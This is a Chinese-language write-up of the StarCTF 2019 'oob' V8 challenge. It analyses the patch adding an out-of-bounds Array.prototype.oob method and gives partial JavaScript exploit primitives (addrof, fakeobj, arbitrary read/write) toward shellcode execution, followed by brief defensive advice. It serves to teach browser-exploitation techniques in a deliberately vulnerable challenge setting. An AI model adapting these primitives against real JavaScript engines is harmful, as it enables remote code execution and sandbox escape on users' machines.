🛡️ 2019 StarCTF oob复现
🔍 一、题目背景
本题是经典的 V8 引擎漏洞利用题,通过新增一个非标准数组方法 Array.prototype.oob,实现对数组的越界读写操作,最终达到任意内存读写的目的,并可用于执行 shellcode。
题目地址:starctf2019/pwn-OOB at master · sixstars/starctf2019
📄 二、补丁分析(diff 文件)
✅ 新增函数注册(bootstrapper.cc)
SimpleInstallFunction(isolate_, proto, "oob", Builtins::kArrayOob, 2, false);
- 将名为
"oob"的函数注册为Array.prototype上的方法; - 支持最多两个参数;
- 使用内置函数
Builtins::kArrayOob实现功能。
✅ 函数实现(builtins-array.cc)
BUILTIN(ArrayOob) {
// ...
if(len == 1){
// read
return *(isolate->factory()->NewNumber(elements.get_scalar(length)));
}else{
// write
elements.set(length,value->Number());
return ReadOnlyRoots(isolate).undefined_value();
}
}
-
当调用
arr.oob()时:- 若无参数,则读取
arr[arr.length](越界读); - 若有参数,则写入
arr[arr.length] = value(越界写);
- 若无参数,则读取
-
可用于修改数组的元信息(如 map、backing store 等),进而构造任意内存访问能力。
✅ 类型系统支持(typer.cc)
case Builtins::kArrayOob:
return Type::Receiver();
- 告知类型推断器该函数返回值为对象类型,防止编译期误判。
🧪 三、使用示例
var a = [1.1, 1.1];
%DebugPrint(a);
a.oob(2.2); // 越界写
var b = a.oob(); // 越界读
%DebugPrint(b);
%SystemBreak();
🔥 四、漏洞利用思路
💡 目标:
构造
addrof(obj)(获取对象地址)和fakeobj(addr)(伪造对象),从而实现:
- 任意内存读 (
arb_read) - 任意内存写 (
arb_write) - 最终执行 shellcode 或提权
🧱 五、关键函数说明(JavaScript 层)
🧰 1. 获取对象地址:addrof(in_obj)
function addrof(in_obj) {
obj_arr[0] = in_obj;
obj_arr.oob(map2);
let addr = obj_arr[0];
obj_arr.oob(map1);
return ftoi(addr);
}
- 通过越界修改 map 指针,使浮点数组能读取对象地址。
- 返回值为对象在内存中的地址(使用
ftoi转换为整数)。
🧰 2. 构造假对象:fakeobj(addr)
function fakeobj(addr) {
fl_arr[0] = itof(addr);
fl_arr.oob(map1);
let fake = fl_arr[0];
fl_arr.oob(map2);
return fake;
}
- 修改浮点数组的 backing store 地址,构造一个指向指定地址的对象;
- 可用于伪造 JS 对象结构,实现任意内存读写。
🧠 3. 任意内存读:arb_read(addr)
function arb_read(addr) {
let fake = fakeobj(addrof(arb_rw_arr) - 0x20n);
arb_rw_arr[2] = itof(BigInt(addr) - 0x10n);
return ftoi(fake[0]);
}
- 构造假对象控制底层存储指针;
- 通过伪造数组访问任意内存地址;
- 返回读取到的 8 字节数据。
🧠 4. 任意内存写:arb_write(addr, val)
function arb_write(addr, val) {
let buf = new ArrayBuffer(8);
let dataview = new DataView(buf);
let buf_addr = addrof(buf);
let backing_store_addr = buf_addr + 0x20n;
initial_arb_write(backing_store_addr, addr);
dataview.setBigUint64(0, BigInt(val), true);
}
- 构造可写任意地址的
ArrayBuffer; - 使用
DataView写入任意 64 位数值; - 可用于覆盖函数指针、执行 shellcode 等。
🎯 六、攻击链总结
| 步骤 | 功能 |
|---|---|
| 1. 构造越界原语 | 利用 oob 方法实现越界读/写 |
2. 构造 addrof | 获取对象内存地址 |
3. 构造 fakeobj | 根据地址伪造对象 |
4. 实现 arb_read / arb_write | 完成任意内存读写 |
| 5. 执行 shellcode | 替换函数指针或修改 WebAssembly 内存 |
📌 七、防御与安全启示
⚠️ 漏洞本质:
- 数组越界访问破坏了 V8 的对象模型安全性;
- 未限制用户访问内部元数据(map、backing store);
- 可被用于浏览器沙箱逃逸、RCE(远程代码执行)等高危攻击。
🛡️ 安全建议:
- 不应暴露越界访问接口;
- 在 JIT 编译阶段加强边界检查;
- 使用 CFI(Control Flow Integrity)防止函数指针篡改;
- 对敏感 API 进行权限控制。